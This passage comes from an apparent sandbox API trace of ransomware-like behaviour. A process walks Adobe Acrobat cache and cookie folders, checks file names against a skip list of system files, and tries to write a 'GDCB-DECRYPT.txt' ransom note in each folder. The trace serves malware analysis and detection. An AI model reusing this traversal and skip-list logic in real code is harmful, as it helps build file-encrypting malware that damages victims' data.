lpString2="iconcache.db") returned -1 [0170.131] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0170.131] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0170.131] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0170.131] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0170.131] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0170.131] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.131] FindNextFileW (in: hFindFile=0x5dd410, lpFindFileData=0x285d6c8 | out: lpFindFileData=0x285d6c8) returned 1 [0170.131] lstrcmpW (lpString1="index", lpString2=".") returned 1 [0170.132] lstrcmpW (lpString1="index", lpString2="..") returned 1 [0170.132] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\", lpString2="index" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\index") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\index" [0170.132] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.132] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\index") returned 180 [0170.132] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\index") returned 180 [0170.132] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.132] FindNextFileW (in: hFindFile=0x5dd410, lpFindFileData=0x285d6c8 | out: lpFindFileData=0x285d6c8) returned 0 [0170.132] FindClose (in: hFindFile=0x5dd410 | out: hFindFile=0x5dd410) returned 1 [0170.132] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285d950 | out: lpFindFileData=0x285d950) returned 1 [0170.132] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0170.132] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0170.132] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\GDCB-DECRYPT.txt" [0170.132] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.132] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\GDCB-DECRYPT.txt") returned 185 [0170.132] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\GDCB-DECRYPT.txt") returned 185 [0170.132] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\GDCB-DECRYPT.txt") returned 185 [0170.132] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\GDCB-DECRYPT.txt") returned 185 [0170.132] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0170.132] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0170.132] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0170.132] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0170.132] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0170.132] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0170.132] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0170.133] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0170.133] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0170.133] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.133] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285d950 | out: lpFindFileData=0x285d950) returned 1 [0170.133] lstrcmpW (lpString1="Visited Links", lpString2=".") returned 1 [0170.133] lstrcmpW (lpString1="Visited Links", lpString2="..") returned 1 [0170.133] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\", lpString2="Visited Links" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Visited Links") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Visited Links" [0170.133] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.133] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Visited Links") returned 182 [0170.133] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Visited Links") returned 182 [0170.133] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.133] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285d950 | out: lpFindFileData=0x285d950) returned 0 [0170.133] FindClose (in: hFindFile=0x5a4e98 | out: hFindFile=0x5a4e98) returned 1 [0170.133] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285dbd8 | out: lpFindFileData=0x285dbd8) returned 1 [0170.133] lstrcmpW (lpString1="Cookie", lpString2=".") returned 1 [0170.133] lstrcmpW (lpString1="Cookie", lpString2="..") returned 1 [0170.133] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\", lpString2="Cookie" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie" [0170.133] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\" [0170.133] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.133] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.133] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.134] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.134] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.134] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.134] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\") returned 170 [0170.134] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\*" [0170.134] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\*", lpFindFileData=0x285d6e0 | out: lpFindFileData=0x285d6e0) returned 0x5a4e98 [0170.134] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0170.134] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285d6e0 | out: lpFindFileData=0x285d6e0) returned 1 [0170.134] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0170.134] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0170.134] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285d6e0 | out: lpFindFileData=0x285d6e0) returned 1 [0170.134] lstrcmpW (lpString1="Cookies", lpString2=".") returned 1 [0170.134] lstrcmpW (lpString1="Cookies", lpString2="..") returned 1 [0170.134] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\", lpString2="Cookies" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies" [0170.134] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies") returned 177 [0170.134] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285d6e0 | out: lpFindFileData=0x285d6e0) returned 1 [0170.134] lstrcmpW (lpString1="Cookies-journal", lpString2=".") returned 1 [0170.134] lstrcmpW (lpString1="Cookies-journal", lpString2="..") returned 1 [0170.134] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\", lpString2="Cookies-journal" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies-journal") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies-journal" [0170.134] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies-journal") returned 185 [0170.134] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285d6e0 | out: lpFindFileData=0x285d6e0) returned 1 [0170.134] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0170.134] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0170.134] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\GDCB-DECRYPT.txt" [0170.134] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\GDCB-DECRYPT.txt") returned 186 [0170.134] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0170.134] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285d6e0 | out: lpFindFileData=0x285d6e0) returned 0 [0170.134] FindClose (in: hFindFile=0x5a4e98 | out: hFindFile=0x5a4e98) returned 1 [0170.134] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.135] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\\\GDCB-DECRYPT.txt") returned 187 [0170.135] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\adobe\\acrocef\\dc\\acrobat\\cookie\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.136] GetLastError () returned 0x50 [0170.136] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.136] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\") returned 170 [0170.136] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\*" [0170.136] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\*", lpFindFileData=0x285d950 | out: lpFindFileData=0x285d950) returned 0x5a4e98 [0170.136] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0170.136] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285d950 | out: lpFindFileData=0x285d950) returned 1 [0170.136] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0170.136] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0170.136] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285d950 | out: lpFindFileData=0x285d950) returned 1 [0170.136] lstrcmpW (lpString1="Cookies", lpString2=".") returned 1 [0170.136] lstrcmpW (lpString1="Cookies", lpString2="..") returned 1 [0170.136] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\", lpString2="Cookies" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies" [0170.136] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.137] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies") returned 177 [0170.137] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies") returned 177 [0170.137] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.137] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285d950 | out: lpFindFileData=0x285d950) returned 1 [0170.137] lstrcmpW (lpString1="Cookies-journal", lpString2=".") returned 1 [0170.137] lstrcmpW (lpString1="Cookies-journal", lpString2="..") returned 1 [0170.137] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\", lpString2="Cookies-journal" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies-journal") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies-journal" [0170.137] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.137] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies-journal") returned 185 [0170.137] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies-journal") returned 185 [0170.137] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.137] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285d950 | out: lpFindFileData=0x285d950) returned 1 [0170.137] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0170.137] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0170.137] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\GDCB-DECRYPT.txt" [0170.137] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.137] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\GDCB-DECRYPT.txt") returned 186 [0170.137] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\GDCB-DECRYPT.txt") returned 186 [0170.137] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\GDCB-DECRYPT.txt") returned 186 [0170.138] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\GDCB-DECRYPT.txt") returned 186 [0170.138] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0170.138] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0170.138] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0170.138] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0170.138] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0170.138] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0170.138] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0170.138] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0170.138] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0170.138] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.138] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285d950 | out: lpFindFileData=0x285d950) returned 0 [0170.138] FindClose (in: hFindFile=0x5a4e98 | out: hFindFile=0x5a4e98) returned 1 [0170.138] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285dbd8 | out: lpFindFileData=0x285dbd8) returned 1 [0170.138] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0170.138] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0170.138] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\GDCB-DECRYPT.txt" [0170.138] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.138] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\GDCB-DECRYPT.txt") returned 179 [0170.138] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\GDCB-DECRYPT.txt") returned 179 [0170.138] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\GDCB-DECRYPT.txt") returned 179 [0170.138] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\GDCB-DECRYPT.txt") returned 179 [0170.138] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0170.138] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0170.138] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0170.138] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0170.138] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0170.138] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0170.138] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0170.138] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0170.138] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0170.138] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.139] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285dbd8 | out: lpFindFileData=0x285dbd8) returned 0 [0170.139] FindClose (in: hFindFile=0x5a4e18 | out: hFindFile=0x5a4e18) returned 1 [0170.139] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285de60 | out: lpFindFileData=0x285de60) returned 1 [0170.139] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0170.139] lstrcmpW 